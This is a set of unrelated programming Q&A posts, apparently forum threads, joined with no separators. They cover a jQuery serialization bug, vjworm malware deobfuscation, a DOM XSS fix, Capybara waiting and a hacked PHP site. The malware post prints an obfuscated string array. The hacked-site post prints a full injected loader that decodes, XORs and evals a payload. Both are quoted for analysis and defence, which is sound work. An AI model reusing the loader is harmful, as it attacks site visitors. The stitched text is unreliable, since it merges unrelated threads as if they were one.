Update:
Please see the answer noted below as, ultimately, the problem had nothing to do with jsquery.
=============
Issue:
I submit an object to jquery to convert into a serialized string that will become part of a "POST" request to a server, and the data returned from the serialization request is different than the data sent on many occasions.
An example:
The JavaScript code that implements the server POST request:
function send_data(gpg_data) {
var query_string;
query_string = '?' + $.param(gpg_data, traditional = true);
console.log('gpg_data =', gpg_data)
console.log('query_string =', query_string);
$.post(server_address + query_string);
return;
}
This is the structure sent to the jquery param() function.
(copied from the browser console in developer mode.)
gpg_data =
{controller_status: 'Connected', motion_state: 'Stopped', angle_dir: 'Stopped', time_stamp: 21442, x_axis: 0, …}
angle_dir: "Stopped"
controller_status: "Connected"
force: 0
head_enable: 0
head_x_axis: 0
head_y_axis: 0
motion_state: "Stopped"
time_stamp: 21490
trigger_1: 0
trigger_2: 0
x_axis: 0
y_axis: "0.00"
. . . and the returned "query string" was:
query_string = ?controller_status=Connected&motion_state=Stopped&angle_dir=Stopped&time_stamp=21282&x_axis=0&y_axis=0.00&head_x_axis=0&head_y_axis=0&force=0&trigger_1=1&trigger_2=1&head_enable=0
The data received by the server is:
ImmutableMultiDict([('controller_status', 'Connected'), ('motion_state', 'Stopped'), ('angle_dir', 'Stopped'), ('time_stamp', '21282'), ('x_axis', '0'), ('y_axis', '0.00'), ('head_x_axis', '0'), ('head_y_axis', '0'), ('force', '0'), ('trigger_1', '1'), ('trigger_2', '1'), ('head_enable', '0')])
For example, note that "trigger_1" returns 1 when the data sent to it is a zero.
I have tried setting the query to "traditional = true" to revert to an earlier style of query handling as some articles suggested - which did not work. I tried this with jquery 3.2 and 3.6.
I am not sure exactly how jquery manages to munge the data so I have no idea where to look.
I have looked at my script and at the unpacked jquery code, and I can make no sense out of why or how it does what it does.
Any help understanding this would be appreciated.
P.S.
web searches on "troubleshooting jquery" returned very complex replies that had more to do with editing e-commerce web pages with fancy buttons and logins than with simply serializing data.
P.P.S.
I am tempted to just chuck the jquery and write my own serialization routine. (grrrr!)
===================
Update:
As requested, a link to the browser-side context.
To run: unpack the zip file in a folder somewhere and attach an analog joystick/gamepad to any USB port, then launch index.html in a local browser. Note that a purely digital gamepad - with buttons only or with a joystick that acts like four buttons - won't work.
You will want to try moving joystick axes 1 and 2, (programmatically axes 0 and 1) and use the first (0th) trigger button.
You will get a zillion CORS errors and it will complain bitterly that it cannot reach the server, but the server side context requires a GoPiGo-3 robot running GoPiGo O/S 3.0.1, so I did not include it.
Note: This does not work in Firefox as Firefox absolutely requires a "secure context" to use the Gamepad API. It does work in the current version of Chrome, (Version 97.0.4692.99 (Official Build) (64-bit)), but throws warnings about requiring a secure context.
Please also note that I have made every attempt I know how to try to troubleshoot the offending JavaScript, but trying to debug code that depends on real-time event handling in a browser is something I have not figured out how to do - despite continuous searching and efforts. Any advice on how to do this would be appreciated!
======================
Update:
Researching debugging JavaScript in Chrome disclosed an interesting tidbit:
Including the line // #ts-check as the first line in the JavaScript code turns on additional "linting" (?) or other checks that, (mostly) were a question of adding "var" to the beginning of variable declarations.
However. . . .
There was one comment it made:
gopigo3_joystick.x_axis = Number.parseFloat((jsdata.axes[0]).toFixed(2));
gopigo3_joystick.y_axis = Number.parseFloat(jsdata.axes[1]).toFixed(2);
I could not assign gopigo3_joystick.y_axis to a string object, (or something like that), and I was scratching my head - that was one of the pesky problems I was trying to solve!
If you look closely at that second line, you will notice I forgot a pair of parenthesis, and that second line should look like this:
gopigo3_joystick.y_axis = Number.parseFloat((jsdata.axes[1]).toFixed(2));
Problem solved - at least with respect to that problem.
I figured it out and it had nothing to do with jquery.
Apparently two things are true:
The state of the gpg_data object's structure is "computed", (snapshot taken), the first time the JavaScript engine sees the structure and that is the state that is saved, (even though the value may change later on). In other words, that value is likely totally bogus.
Note: This may only be true for Chrome. Previous experiments with Firefox showed that these structures were updated each time they were encountered and the values seen in the console were valid. Since Firefox now absolutely requires a secure context to use the gamepad API, I could not use Firefox for debugging.
I was trying to be "too clever". Given the following code snippet:
function is_something_happening(old_time, gopigo3_joystick) {
if (gopigo3_joystick.trigger_1 == 1 || gopigo3_joystick.head_enable == 1) {
if (old_time != Number.parseFloat((gopigo3_joystick.time_stamp).toFixed(0))) {
send_data(gopigo3_joystick)
old_time = gopigo3_joystick.time_stamp
}
}
return;
}
The idea behind this particular construction was to determine if "something interesting" is happening, where "something interesting" is defined as:
A keypress, (handled separately)
A joystick movement if either the primary trigger or the pinky trigger is pressed.
Movement without any trigger pressed is ignored so that if the user accidentally bumps against the joystick, the robot doesn't go running around.
Therefore the joystick data only gets updated if the trigger is pressed. In other words, trigger "release" events - the trigger is now = 0 - are not recorded.
The combination of these two events - Chrome taking a "snapshot" of object variables once and once only, (or not keeping them current) - and the trigger value persisting, lead me to believe that jquery was the problem since the values appeared to be different on each side of the jquery call.
So for the last couple of days I have been practicing some basic malware analysis on mainly macro malware like Agent Tesla but this time I am trying to figure out how solve the logic of the vjworm javascript malware and so far I have managed to deobfuscate the code using a combination of both manual deobfuscation and an online tool.
This is the sample in it's deobfuscated form https://pastebin.com/qRBKix6V
I am not able to post the entire thing here on Stackoverflow so I posted it on pastebin because it's just too large for the post limit of 30000 characters so I will post a snippet of the code instead and it's a piece of the code I am struggling to wrap my head around where it looks to be base64
and I did try convert it into text using a base64 to text online tool and I was promptly told that this was actually code and that I should convert to the bin format and I could read the output before I downloaded it and it was just a bunch of random letters with no meaning at all
What does this mean?.
function t() {
var Nd = ["W68xWPnGW59PWQiEnaC", "yMeBqSoNWPxdO8kT", "omkdW6ddQq", "q2XVC2u", "W7/dPCkWWPpdNfldVG", "WOHnWONcTtXLWPH+WQPb", "sSkzfq", "A3LWzsaVDhiGiG", "vbVdSSk7WOK", "Evz3tuK", "fSoHxmk9C1ldPq", "WOtcLSozW6S", "W7ebWPBcRaCxW5BcJrn0", "Ahr0CdOVl2DYyq", "atP8ssW", "gL3cMG", "C3bSAxq", "u2XLzxa", "B3bLBG", "tfNdJGddR8oFqSkHW7u", "W4RdPCo4aN/cIw9Ifmk4WPv1", "Dg9tDhjPBMC", "BsS0ga", "rhhcT3lcKXpcT8keW4tdMG", "jvjNtMuL", "WRpcTCoyW6/cQq", "mhWZFdr8mxWY", "ue9tva", "W5SibaddMmkMumo4", "mZmWt3Lsrvfe", "FY3dPHZcOcdcJ8kSWQJdQa", "lrJcQ8oRWQFdGSoaWPW6W4y", "aCo/fvxdJMuaD8oyW6C", "W5nKW68+ntGvEConeZ0", "W4pcJSkO", "Dub7or8", "hGnwAbvOcSo6W79/", "BgVcGwJcLG", "uMvNv3jPDgu", "xhjVB3rCC2vJDq", "W6LEA19k", "W4TgW6VdR3i", "WOTqgrldVmkDEmo4", "W7FcVSk1CmoBpW", "BuDAtKS", "WPNcNhqRWQ0", "t8kAztlcQmkrhW", "W5tdLahdNCoEW7KYmSkacW", "fSo0W4xcMN0XW5TDi2S", "tCoEWRJcVutcP2SJn8oMWQi", "twLJCM9ZB2z0xa", "WO9uwKZcHmk0CSoniSkIW5W", "WRZdJGtdI8od", "ef/dM8kau8olW6jFn8k6", "yxbWBhK", "jxZcVSkgWPe", "F8oPvW", "mJy0vhv2vgXi", "WRtdVMm1", "qCk4m8kNAM3dSHRdIq", "F2RcQG", "pCo5W6e7oaysu8oX", "hCodowFdS8osqSo5y8kogKFdVq", "WRyAkmk0kHuHFwS", "nxW0FdH8mW", "shHSz1O", "sXpdUmkUWO3dNCo7k8oWza", "WRiwj8kRlHa", "yMvRBKC", "AxrLBq", "WRJdH8ouWQRdKa", "u2HLBgWUqxbWBa", "W6PdW50", "W53dOCk0WPC", "oCk5xwJcSq", "atapCSoCWQxdMSk6", "zLDLuhG", "juVdHCoXW67cJxZdVSkLW4y", "ntG1odD2qKrRzNG", "ntuWmtK1DxjtC2nx", "we1msfruua", "ruPUEhu", "BG9MW58qWPJcPfddK8kt", "W7KibqBdKa", "jGVcQSk0W5JdLmkUi8kR", "W6nfA11+", "uxvPDa", "d8kDEvxcKa", "renDcdS", "W5/dVc7dVmo0", "WR5keSkhW7jdyCkca8o0sq0d", "WOVcVCkaDGS", "jedcRmo+W5NcNSoXoCoVCmkVWP8", "Bw92zu5LEhq", "wefJW5mcWP/cQeZdGSoy", "Ffz8", "EujSyvi", "yxrPBMDtExn0zq", "zgVcOwS", "h2hcOCkxWRRdOmkwqW", "DuPcfZ/cP3y", "rJ0XdLO", "CSonCJy+", "jJitWOhdHcldS8opbmkp", "rMLSzq", "ChnHBg1Zltu1", "betdKmkftSoC", "W6ZdTmkfWPhdMq", "uhjVz3jHBurHDa", "mNWWFdf8n3W2Fa", "FwPxW4BcMW", "v2LUzg93C1XdDq", "WPqHWRe", "xe1Py3jVC29MDa", "vxL4Cu0", "rgLZCgXHEu5HBq", "wuvt", "WQtcH8kLWPbpydzfWPRcVa", "W7vcW6BdQ3a", "u2nODgfZA3mGlW", "sw5ZDgfUy2vZtW", "odCZsgXrs2Do", "qSk+mvdcUa", "yxrfBMq", "vwDoC1u", "W7HfW5KHW6KFW6u", "zwXS", "z8kNcNTsWR3dKSoJWRFcVG", "u0XbD2O", "CMvWBgfJzq", "W6LiW4VcRXvNW47cJfro", "W4rrW7C", "yuXutgq", "v1nJCMLWDc5tAa", "W6ddVW7dJSoJ", "r1DNs2K", "wgDZtwq", "t3bLBLrLEhrgAq", "t3rYweK", "W5tdRSkoWRJdNa", "xfnVzNr3yxjLxa", "tqpcPt3cRZjFWP3dHH0", "zmkafgVcRSk1W6vYrmkn", "fmoGDSkksfNdGqK", "WONcU8k4WPbU", "qLFdR8k9uG", "qmoqwX8CW7bgzq", "Emo4W4hcKvS1W58EAq", "seTmtvXtt0zuvW", "uKvhx1nA", "CML0EwnLBNrLCG", "DCkclIO", "DgvTCa", "lK5fvfXgCMfTzq", "nKD6B3fbra", "BgXUvLa", "g2/dQSor", "mZq0mtjzv0rHwuG", "oCkNvf7cSsn5tu5t", "y29Kzeu", "udDfs09xqJzhsa", "rmo2W6xcTKK", "v3jPDgu"];
This is the malware sample in it's obfuscated form https://pastebin.com/xukFtPT7
My main goal here is to get an understanding about how the code functions and how it eventually get's to the ioc like ip adresses and domain names.
So far I have done some research around this malware but I found very little regarding how to reverse engineer this malware and the only resource I found did not have the same code as me.
I am by no means an expert at reverse engineering malware and I am not a master programmer by any means but I am able to read,write basic programs.
But on the other hand I have watched many tutorials and read many resources regarding malware from different families and how to best analyse them using a combination of both tools and manual malware analysis both static and dynamic.
What should I do now?
Currently working on addressing DOM XSS for one of my application code where it is reporting XSS for winT (provided pseudo code below).
Code Snippet:
Var oMyObj = window.dialogArg;
var winT = oMyObj.title;
<span id="header">
<script>
document.write(winT);
</script>
</span>
I have tried couple of approaches to see if that helps, but so far still trying.. thought would request here to see if any option or approaches that will help to remediate fortify XSS.
We're sending static information to print in above case as page/dialog box title and application is internal/intranet app behind firewall.. but would like to see if it can be addressed
After searching and reading articles related to XSS tried following:
Converted line "document.write" to ".textContent" but it didnt print the value itself
document.getElementsbyId("header").textContent = winT
Tried innerHTML instead of document.write and it printed but didnt rectify Fortify - Later realized the innerHTML also has XSS
tried htmlencoder like below -- fortify still reported it as problem.
https://portswigger.net/web-security/cross-site-scripting/preventing
function htmlEncode(str){
return String(str).replace(/[^\w. ]/gi, function(c){
return '&#'+c.charCodeAt(0)+';';
});
}
Maybe I am lacking in fully understand what is causing the XSS to happen which is further leading unable to find right solution to above problem.
If you can help with few insight or guide on right direction will be helpful. Thx.
I have resolved above problem using ESAPI
Example snippet:
var reportName = "<%= ESAPI.encoder().encodeForJavaScript(reportName)%>";
Here is the issue that has been nagging for weeks and all solutions found online do not seem to work... ie. wait for ajax, etc...
here is versions of gems:
capybara (2.10.1, 2.7.1)
selenium-webdriver (3.0.1, 3.0.0)
rspec (3.5.0)
running ruby 2.2.5
ruby 2.2.5p319 (2016-04-26 revision 54774) [x64-mingw32]
in the env.rb
Capybara.register_driver :selenium do | app |
browser = (ENV['browser'] || 'firefox').to_sym
Capybara::Driver::Selenium.new(app, :browser => browser.to_sym, :resynchronize => true)
Capybara.default_max_wait_time = 5
end
Here is my dynamicpage.feature
Given I visit page X
Then placeholder text appears
And the placeholder text is replaced by the content provided by the json service
and the step.rb
When(/^I visit page X$/) do
visit('mysite.com/productx/')
end
When(/^placeholder text appears$/) do
expect(page).to have_css(".text-replacer-pending")
end
Then(/^the placeholder text is replaced by the content provided by the json service$/) do
expect(page).to have_css(".text-replacer-done")
end
the webpage in question, which I cannot add it here as it is not publicly accessible, contains the following on page load:
1- <span class="text-replacer-pending">Placeholder Text</span>
after a call to an external service (which provides the Json data), the same span class gets refreshed/updated to the following;
2- <span class="text-replacer-done">Correct Data</span>
The problem I have with the "visit" method in capybara + selenium is that as soon as it visits the page, it thinks everything loaded and freezes the browser, and it never lets the service be called to dynamically update the content.
I tried the following solutions but without success:
Capybara.default_max_wait_time = 5
Capybara::Driver::Selenium.new(app, :browser => browser.to_sym, :resynchronize => true)
add sleep 5 after the visit method
wait for ajax solution from several websites, etc...
adding after hooks
etc...
I am at a complete loss why "visit" can't wait or at least provide a simple solution to an issue i am sure is very common.
I am aware of the capybara methods that wait and those that don't wait such as 'visit' but the issue is;
there is no content that goes from hidden to displayed
there is there is no user interaction either, just the content is getting updated.
also unsure if this is a capybara issue or a selenium or both.
Anyhow have insight on any solutions? i am fairly new to ruby and cucumber so specifically what code goes in what file/folder would be much appreciated.
Mel
Restore wait_until method (add it to your spec_helpers.rb)
def wait_until(timeout = DEFAULT_WAIT_TIME)
Timeout.timeout(timeout) do
sleep(0.1) until value = yield
value
end
end
And then:
# time in seconds
wait_until(20) { has_no_css?('.text-replacer-pending') }
expect(page).to have_css(".text-replacer-done")
#maxple and #nattf0dd
Just to close the loop on our issue here...
After looking at this problem from a different angle,
we finally found out Cucumber/Capybara/ is not a problem at all :-)
The issue we are having lies with the browser Firefox driver (SSL related), since we have no issues when running the same test with the Chrome driver.
I do appreciate the replies and suggestions and will keep those in mind for future.
thanks again!
All index.php files on my website got hacked with the code injection in the body tag, see below. Does anyone know how they did it and if there is way to look for it how prevent it?
echo "<body><script language="javascript">try { function BwrLMVnkPmRbZYpfwLH(MLJOynjaY){var iMgpLZHO="",aVwbJg,oKONbIZB,gdGJUWTs,siAOty,hPaiwMZ,NxynbqCA,VxXqcPIGHh,UclXTRxDsh,bRLAlhars;var nGBCFoc="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";var OZymdhDIRb="";for(UclXTRxDsh=0;UclXTRxDsh<MLJOynjaY.length;){siAOty=nGBCFoc.indexOf(MLJOynjaY.charAt(UclXTRxDsh++));hPaiwMZ=nGBCFoc.indexOf(MLJOynjaY.charAt(UclXTRxDsh++));bRLAlhars=BwrLMVnkPmRbZYpfwLH;NxynbqCA=nGBCFoc.indexOf(MLJOynjaY.charAt(UclXTRxDsh++));VxXqcPIGHh=nGBCFoc.indexOf(MLJOynjaY.charAt(UclXTRxDsh++));aVwbJg=(siAOty<<2)+(hPaiwMZ>>4);oKONbIZB=((hPaiwMZ&15)<<4)+(NxynbqCA>>2);gdGJUWTs=((NxynbqCA&3)<<6)+VxXqcPIGHh;bRLAlhars=bRLAlhars.toString();iMgpLZHO+=String.fromCharCode(aVwbJg);if(NxynbqCA!=64)iMgpLZHO+=String.fromCharCode(oKONbIZB);if(VxXqcPIGHh!=64)iMgpLZHO+=String.fromCharCode(gdGJUWTs);}bRLAlhars=bRLAlhars.replace(/\W/g,"");bRLAlhars=bRLAlhars.split("").reverse().join("");for(UclXTRxDsh=0;UclXTRxDsh<iMgpLZHO.length;UclXTRxDsh++)OZymdhDIRb+=String.fromCharCode(iMgpLZHO.charCodeAt(UclXTRxDsh%iMgpLZHO.length)^bRLAlhars.charCodeAt(UclXTRxDsh%bRLAlhars.length));return eval(OZymdhDIRb);}BwrLMVnkPmRbZYpfwLH("QnJpZEhETVl6b0xBVmxnBBQGRRsOBgYDAExOUgUHDzQhNwwcXScKNzUsCSY5ESwAChtrUAgOERIfBEpFekZbawESFQ8ICWE/MygED21USFF1WmleUWUKMwYgCAFBKxcIDws7aGdsUlZvUm9tZioUEwkuCEEBFAROVFJWOxYmOX5HSxVULyEBEGobPTl3BQ17CxMOUVdOdEJTRRQILhwFFioMfDY3CBp7URgDIRY2FzAFDzFaBgAcCAIPTEg=");} catch(e){}</script>";*
I would suggest you to use HTML Purifier.
HTML Purifier is a standards-compliant
HTML filter library written in PHP.
HTML Purifier will not only remove all
malicious code (better known as
XSS) with a thoroughly audited,
secure yet permissive whitelist, it
will also make sure your documents are
standards compliant
Also, use mysql_real_escape_string function before any values you want to insert/update into the database, and use intval before the numbers to minimize the risk.
The javascript decodes and evals the following binary string:
0000: 2935 3f1e 1070 7a63 286e 6d69 626b 742b )5?..pzc(nmibkt+
0010: 2037 6974 7d55 495b 4d50 0f45 6244 7154 7it}UI[MP.EbDqT
0020: 5b72 617d 4f55 7e5a 0e34 674d 6373 7767 [ra}OU~Z.4gMcswg
0030: 3937 1b2e 372a 4d40 7767 7c6e 0f5a 5f67 97..7*M#wg|n.Z_g
0040: 4c55 2124 2f1c 1c32 1a1a 2937 5e6b 6a43 LU!$/..2..)7^kjC
0050: 5d75 efbf bd4e 7367 4c79 5aef bfbd 0423 ]u...NsgLyZ....#
0060: 1a0c 2322 0820 0f4f 707c 4a5c 6929 4279 ..#". .Op|J\i)By
0070: 6b26 6c74 3b32 3538 5264 526a 1c15 0251 k<258RdRj...Q
0080: 3c6b 6c78 6a25 736e 7d0f 7779 2367 705b <klxj%sn}.wy#gp[
0090: 3923 291a 273f 205c 7262 6c62 5b63 640f 9#).'? \rblb[cd.
00a0: 726f 7a6e 233d 227b 5611 7e45 5348 575b rozn#="{V.~ESHW[
00b0: 6936 6555 6e67 6461 2527 223e 3c2f 6b6c i6eUngda%'"></kl
00c0: 786a 2573 6e7d 0f77 7923 6770 5b39 2329 xj%sn}.wy#gp[9#)
00d0: 1a27 3f3e .'?>
which seems a bit pointless as most javascript engines should just throw a syntax error. Perhaps it causes an overflow in some browser.
As to how they actually did it, the code you posted is exploiting a client-side bug, and they probably compromised your server with an unrelated attack. It will depend how your content is generated but an SQL injection or filesystem overwrite are possible. Do you do anything like eval unescaped SQL or run dynamic exec-family functions from PHP?